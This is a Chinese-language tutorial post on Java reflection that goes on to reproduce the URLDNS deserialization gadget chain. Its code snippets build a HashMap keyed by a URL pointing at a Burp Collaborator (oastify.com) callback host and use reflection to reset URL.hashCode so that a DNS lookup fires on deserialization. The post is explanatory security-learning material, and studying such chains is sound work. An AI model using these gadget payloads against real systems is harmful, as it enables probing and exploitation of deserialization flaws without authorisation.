URLDNS链的调试及反射
反射的各种
我们首先编写一个Person类,分别设置public和private类型的属性和方法,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; import java.util.Map;
public class Person implements Serializable{
public String name; private int age; public Person(){
}
public Person(String name ,int age){ this.age=age; this.name=name; }
@Override public String toString(){ return "Person{" + "name='" + name + "\'" + ",age=" + age + "}"; } private void action(String act){ System.out.println(act); } }
|
那么想必我们最想做的就是通过反射去动态的改变这个类中的各个属性或者动态的调用方法吧,那么我们就需要用到反射去解决,让我们编写一个ReflectionTest.java来实现我们想做的事吧
我们第一步是想改变Person类的各个属性,例如public的name以及private的age,那么我们首先是需要获取Person类的实例化对象的,否则这个类还未加载,我们就不可能通过反射去动态的修改这个类里面的东西了,在这里,我们有可能会用到两个函数,getConstructor和newInstance,示例代码如下:
1 2 3 4 5 6
| public class ReflectionTest { public static void main(String[] args) throws Exception{ Person person = new Person(); Class clazz = person.getClass(); } }
|
对于这个Class这里我引用了廖雪峰网站的一些解释:
因为我们将clazz接收了Person这个类在JVM中加载的Class实例,所以clazz中保存着Person类的所有信息,而因为我们有Person这个类的实例变量,所以我们采用第二种方法去获取它的Class实例,就这样,我们获取到了Person类的所有信息并将其保存在实例clazz中,之后我们就可以通过更改clazz去修改在这个类中加载的Person类中的信息。
在我们获取到了Person类中的所有信息后,我们如果需要对它进行修改(这个Person类是我们自己写的,所以其中的内容对我们来说是白盒,但如果我们只知道Person这个类名,那么我们应该如何获取它里面的一些信息呢),我们首先需要使用一些方法来获得它的字段(属性),这里会用到这几个方法:getField、getDeclaredField、getDeclaredFields、getFields前后两对的差距只是后者的返回值是数组,里面包含这所有字段的信息,而前者返回值则是单个的字段,所以前者是需要指明具体获取哪个字段的,如果是在黑盒的情况下,首先推荐使用后面两对去把它的所有字段全部读出来,再看看有没有能用到的,再使用前者去获取,那么是否有Declared有什么区别呢?这很容易可以知道,前者是获取public字段时使用的,而后者是在获取private字段时使用的,而后者通常会与setAccessible(true)一同使用,否则便会报错
于是我们将代码完善至这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public class ReflectionTest { public static void main(String[] args) throws Exception{ Person person = new Person(); Class clazz = person.getClass(); Constructor personconstructor = clazz.getConstructor(String.class, int.class); Person p = (Person) personconstructor.newInstance("fault",20); Field[] personFields= clazz.getDeclaredFields(); Field[] personFields= clazz.getFields(); Field nameField = clazz.getField("name"); Field nameField_age = clazz.getDeclaredField("age"); nameField_age.setAccessible(true);
nameField.set(p,"java"); nameField_age.set(p,114514); System.out.println(nameField); System.out.println(p); } }
|
接下来我们如果想动态获取并调用它的方法,我们则会需要这些函数:getMethod,getMethods,getDeclaredMethod,getDeclaredMethods,它们的区别可以参考上一个getField它们之间的区别。
于是我们将代码完整的写出来是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| import javax.accessibility.Accessible; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method;
public class ReflectionTest { public static void main(String[] args) throws Exception{ Person person = new Person(); Class clazz = person.getClass();
Constructor personconstructor = clazz.getConstructor(String.class, int.class); Person p = (Person) personconstructor.newInstance("fault",20);
Field nameField = clazz.getField("name"); Field nameField_age = clazz.getDeclaredField("age"); nameField_age.setAccessible(true);
nameField.set(p,"java"); nameField_age.set(p,114514);
Method personPrivateMethod = clazz.getDeclaredMethod("action",String.class); personPrivateMethod.setAccessible(true); personPrivateMethod.invoke(p,"fault");
} }
|
接下来我们回到正题,URLDNS上,其实这个链子的原理很简单,就是在URL类中的hashcode方法中的
handler.hashcode方法中有getHostAddress方法,它会触发DNS解析,于是我们可以利用这个解析,将信息外带。所以我们的目的就是触发这个方法,但前提是在反序列化的时候才触发,而非在序列化时就触发,在上图中我们可以看到,触发它的方式是hashcode==-1,如果我们单纯的使用如下代码:
在这里我们使用burpsuite进行模拟监听
1 2
| HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>(); hashMap.put(new URL("http://z558pnxlaeaq562m58owyyob42atyi.oastify.com"),1);
|
这样如果我们在序列化时使用burpsuite监听,也会发现在序列化时就有了DNS请求,这样违背的我们的初衷,更会在一定程度上为我们造成干扰,于是我们寻找原因,发现是因为我们在hashMap方法里发现了hashCode方法,它也会进行DNS解析,所以我们一来不可以这样写,而来我们需要在put方法之前将hashcode改为非-1,因为我们如果继续跟进,会发现hashcode在初始化时就被初始化为了-1,我们如果要强制不让它进入hashcode方法,那我们就需要通过反射去动态的修改它的hashcode值,但因为它是private属性,我们对它的处理需要配合setAccessible和Declaired去获取和改变,代码如下:
1 2 3 4 5 6
| URL url = new URL("http://z558pnxlaeaq562m58owyyob42atyi.oastify.com"); Class clazz = url.getClass(); Field urlhashcode = clazz.getDeclaredField("hashCode"); urlhashcode.setAccessible(true); urlhashcode.set(url,0); hashMap.put(url,1);
|
接下来我们需要将hashcode再次设置为-1,这样我们在反序列化时,hashcode为-1,于是可以进入hashCode方法从而触发DNS解析),经过BurpSuite验证为真,于是我们复现完了URLDNS链